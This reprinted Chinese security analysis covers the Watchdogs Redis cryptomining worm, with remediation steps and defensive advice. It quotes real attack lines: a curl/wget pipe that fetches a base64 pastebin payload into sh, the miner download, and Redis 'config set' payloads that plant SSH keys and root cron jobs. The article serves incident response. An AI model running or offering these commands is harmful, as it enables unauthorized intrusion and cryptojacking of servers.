您好,登錄后才能下訂單哦!
這篇文章給大家介紹Watchdogs怎樣利用實施大規模挖礦,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
2月20日17時許,阿里云安全監測到一起大規模挖礦事件,判斷為Watchdogs蠕蟲導致,并在第一時間進行了應急處置。
該蠕蟲短時間內即造成大量Linux主機淪陷,一方面是利用Redis未授權訪問和弱密碼這兩種常見的配置問題進行傳播,另一方面從known_hosts文件讀取ip列表,用于登錄信任該主機的其他主機。這兩種傳播手段都不是第一次用于蠕蟲,但結合在一起爆發出巨大的威力。
然而Watchdogs并不是第一個造成這般影響的Redis蠕蟲。截至目前,Redis配置問題已慘遭40余種蠕蟲攻擊和利用;此外,其他種類數據庫的配置問題,也難保不在將來成為黑客的目標。
因此,如何在分析此次Watchdogs挖礦蠕蟲、提供清理建議的同時,也分析了數據庫蠕蟲的發展趨勢,并針對類似的大規模入侵事件的應急和預防給出建議。
該蠕蟲的感染路徑如下圖所示。
cdn.com/2263586317fbd3bd3031398a8e039908aaa6f9f9.png">
蠕蟲傳播方式
攻擊者首先掃描存在未授權訪問或弱密碼的Redis,并控制相應主機去請求以下地址:
https://pastebin.com/raw/sByq0rym
該地址包含的命令是請求、base64解碼并執行另一個url地址的內容:
(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh
而https://pastebin.com/raw/D8E71JBJ 的內容解碼后為一個bash腳本,腳本中又包含下載惡意程序Watchdogs的指令。
(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
如上圖所示,本次蠕蟲的橫向傳播分為兩塊。
一是Bash腳本包含的如下內容,會直接讀取主機上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub文件,用于登錄信任當前主機的機器,并控制這些機器執行惡意指令。
二是Bash腳本下載的Watchdogs程序,通過對Redis的未授權訪問和爆破、以及對SSH的爆破,進行橫向傳播。
具體為表現為,Watchdogs程序的Bbgo()函數中,首先獲取要攻擊的ip列表
隨后嘗試登錄其他主機的ssh服務,一旦登錄成功則執行惡意腳本下載命令
惡意Bash腳本
除了下載Watchdogs程序和橫向傳播外,Bash腳本還具有以下幾項功能
1.將下載自身的指令添加到crontab定時任務,10分鐘執行一次
殺死cpu占用大于80%的其他進程
1.LibiosetWrite()
該函數主要執行libioset.so文件的寫入
3.KsoftirqdsWriteRun()
解壓并寫入挖礦程序及其配置文件
這里以執行rm命令必須調用的unlink()函數為例。
它只對不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"這幾個字符串的文件調用正常的unlink(),導致幾個文件無法被正常刪除。
其中forge_proc_cpu()函數,將返回硬編碼的字符串
而Redis本身遭受攻擊的主流方法也經過了三個階段
1.攻擊者對存在未授權訪問的Redis服務器寫入ssh key,從而可以暢通無阻登錄ssh服務
具體為執行以下payload
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n" save
其中【sshkey】表示攻擊者的密鑰
2.攻擊者對存在未授權訪問的Redis服務器寫入crontab文件,定時執行惡意操作
具體為執行以下payload
config set dir /var/spool/cron config set dbfilename root set x "【evil command】" save
其中【evil command】表示定時執行的惡意命令
3.以上兩個階段中僅對Redis完全沒有驗證即可訪問的情況,第三個階段則開始針對設置了密碼驗證,但密碼較弱的Redis進行攻擊,受害范圍進一步擴大。
然而Redis并不是唯一一個受到黑客“青眼”的數據庫。如下表所示,SQL Server, Mysql, Mongodb這些常用數據庫的安全問題,也被多個挖礦僵尸網絡所利用;利用方式集中在未授權訪問、密碼爆破和漏洞利用。
1.首先停止cron服務,避免因其不斷執行而導致惡意文件反復下載執行。
如果操作系統可以使用service命令,則執行
service crond stop
如果沒有service命令,執行
/etc/init.d/cron stop
2.隨后使用busybox刪除以下兩個so文件:
sudo busybox rm -f /etc/ld.so.preload sudo busybox rm -f /usr/local/lib/libioset.so sudo ldconfig
busybox是一個小巧的unix工具集,許多Linux系統裝機時已集成。使用它進行刪除是因為系統自帶的rm命令需要進行動態so庫調用,而so庫被惡意hook了,無法進行正常刪除;而busybox的rm是靜態編譯的,無需調用so文件,所以不受影響。
3.清理惡意進程
sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'` sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`
4.清理cron相關文件,重啟服務,具體為檢查以下文件并清除其中的惡意指令:
/var/spool/cron/crontabs/root /var/spool/cron/root /etc/cron.d/root
之后執行
service crond start
或
/etc/init.d/cron start
數字加密貨幣的獲取依賴計算資源的特質,催生了黑客進行大規模入侵的動機和土壤;類似Watchdogs蠕蟲這樣的數據庫入侵事件,不是第一起,也不會是最后一起。阿里云作為“編寫時即考慮安全性”的平臺,提供良好的安全基礎設施和豐富的安全產品,幫助用戶抵御挖礦和入侵,同時提供以下安全建議:
1.在入侵發生之前,加強數據庫服務的密碼,盡量不將數據庫服務開放在互聯網上,或根據實際情況進行訪問控制(ACL)。這些措施能夠幫助有效預防挖礦、勒索等攻擊。平時還要注意備份資料,重視安全產品告警。
2.如果懷疑主機已被入侵挖礦,對于自身懂安全的用戶,在攻擊者手段較簡單的情況下,可以通過自查cpu使用情況、運行進程、定時任務等方式,鎖定入侵源頭。
3.對于攻擊者采用較多隱藏手段的攻擊(如本次的Watchdogs蠕蟲,使ps、top等系統命令失效),建議使用阿里云安全的下一代云防火墻產品,其阻斷惡意外聯、能夠配置智能策略的功能,能夠有效幫助防御入侵。哪怕攻擊者在主機上的隱藏手段再高明,下載、挖礦、反彈shell這些操作,都需要進行惡意外聯;云防火墻的攔截將徹底阻斷攻擊鏈。此外,用戶還可以通過自定義策略,直接屏蔽pastebin.com、thrysi.com等廣泛被挖礦蠕蟲利用的網站,達到阻斷入侵的目的。
關于Watchdogs怎樣利用實施大規模挖礦就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。